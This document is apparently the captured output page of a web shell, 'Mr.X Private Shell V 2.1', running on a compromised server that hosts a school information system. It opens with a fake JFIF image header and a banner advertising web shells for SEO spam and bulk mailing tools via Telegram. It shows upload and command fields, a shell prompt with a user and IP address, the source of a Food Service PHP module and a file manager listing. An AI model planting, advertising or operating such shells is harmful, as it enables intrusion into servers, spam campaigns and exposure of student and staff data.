����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php

require_once 'modules/Food_Service/includes/FS_Icons.inc.php';

$_REQUEST['menu_id'] = issetVal( $_REQUEST['menu_id'] );

if ( $_REQUEST['modfunc'] === 'select' )
{
	$_SESSION['FSA_type'] = $_REQUEST['fsa_type'];

	// Unset modfunc & redirect URL.
	RedirectURL( 'modfunc' );
}

if ( empty( $_SESSION['FSA_type'] ) )
{
	$_SESSION['FSA_type'] = 'student';
}

if ( ! empty( $_REQUEST['type'] ) )
{
	$_SESSION['FSA_type'] = $_REQUEST['type'];
}
else
{
	$_REQUEST['type'] = $_SESSION['FSA_type'];
}

// @since 11.3.2 Add User key to $_SESSION['FSA_sale']
$fsa_sale_user_key = $_REQUEST['type'] === 'student' ?
	'student_' . UserStudentID() : 'staff_' . UserStaffID();

/*if ( $_REQUEST['type']=='staff')
{
$tabcolor_s = '#DFDFDF'; $textcolor_s = '#999999';
$tabcolor_u = Preferences('HEADER'); $textcolor_u = '#FFFFFF';
}
else
{
$tabcolor_s = Preferences('HEADER'); $textcolor_s = '#FFFFFF';
$tabcolor_u = '#DFDFDF'; $textcolor_u = '#999999';
}*/

$header = '<a href="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] .
	'&modfunc=select&menu_id=' . $_REQUEST['menu_id'] . '&fsa_type=student' ) . '">' .
	( $_REQUEST['type'] === 'student' ?
	'<b>' . _( 'Students' ) . '</b>' : _( 'Students' ) ) . '</a>';

$header .= ' | <a href="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] .
	'&modfunc=select&menu_id=' . $_REQUEST['menu_id'] . '&fsa_type=staff' ) . '">' .
	( $_REQUEST['type'] === 'staff' ?
	'<b>' . _( 'Users' ) . '</b>' : _( 'Users' ) ) . '</a>';

DrawHeader( ( $_SESSION['FSA_type'] == 'staff' ? _( 'User' ) : _( 'Student' ) ) . ' &minus; ' . ProgramTitle() );

User( 'PROFILE' ) === 'student' ? '' : DrawHeader( $header );

$menus_RET = DBGet( "SELECT MENU_ID,TITLE
	FROM food_service_menus
	WHERE SCHOOL_ID='" . UserSchool() . "'
	ORDER BY SORT_ORDER IS NULL,SORT_ORDER", [], [ 'MENU_ID' ] );

if ( empty( $_REQUEST['menu_id'] ) )
{
	if ( empty( $_SESSION['FSA_menu_id'] ) )
	{
		if ( ! empty( $menus_RET ) )
		{
			$_REQUEST['menu_id'] = $_SESSION['FSA_menu_id'] = key( $menus_RET );
		}
		else
		{
			ErrorMessage( [ _( 'There are no menus yet setup.' ) ], 'fatal' );
		}
	}
	else
	{
		$_REQUEST['menu_id'] = $_SESSION['FSA_menu_id'];
	}

	unset( $_SESSION['FSA_sale'][ $fsa_sale_user_key ] );
}
else
{
	$_SESSION['FSA_menu_id'] = $_REQUEST['menu_id'];
}

$menu_title = issetVal( $menus_RET[$_REQUEST['menu_id']][1]['TITLE'], '' );

if ( $_REQUEST['modfunc'] === 'add' )
{
	if ( ! empty( $_REQUEST['item_sn'] ) )
	{
		$_SESSION['FSA_sale'][ $fsa_sale_user_key ][] = $_REQUEST['item_sn'];
	}

	// Unset modfunc & item sn & redirect URL.
	RedirectURL( [ 'modfunc', 'item_sn' ] );
}

if ( $_REQUEST['modfunc'] === 'remove' )
{
	if ( $_REQUEST['id'] !== '' )
	{
		unset( $_SESSION['FSA_sale'][ $fsa_sale_user_key ][$_REQUEST['id']] );
	}

	// Unset modfunc & ID & redirect URL.
	RedirectURL( [ 'modfunc', 'id' ] );
}

require_once 'modules/Food_Service/' . ( $_SESSION['FSA_type'] == 'staff' ? 'Users/' : 'Students/' ) . '/ServeMenus.php';

/**
 * @param $value
 * @return mixed
 */
function red( $value )
{
	if ( $value < 0 )
	{
		return '<span style="color:red">' . $value . '</span>';
	}
	else
	{
		return $value;
	}
}

Filemanager

Name Type Size Permission Actions
Students Folder 0755
Users Folder 0755
includes Folder 0755
Accounts.php File 1.09 KB 0644
ActivityReport.php File 5.37 KB 0644
AssignSchool.php File 3.72 KB 0644
BalanceReport.php File 3.04 KB 0644
DailyMenus.php File 10.33 KB 0644
Kiosk.php File 3.6 KB 0644
Menu.php File 1.97 KB 0644
MenuItems.php File 13.85 KB 0644
MenuReports.php File 15.67 KB 0644
Menus.php File 7.13 KB 0644
Reminders.php File 4.8 KB 0644
ServeMenus.php File 3.08 KB 0644
Statements.php File 4.03 KB 0644
Student.inc.php File 3.53 KB 0644
TakeMenuCounts.php File 9.01 KB 0644
TeacherCompletion.php File 5.86 KB 0644
Transactions.php File 2.26 KB 0644
TransactionsReport.php File 5.5 KB 0644
User.inc.php File 2.43 KB 0644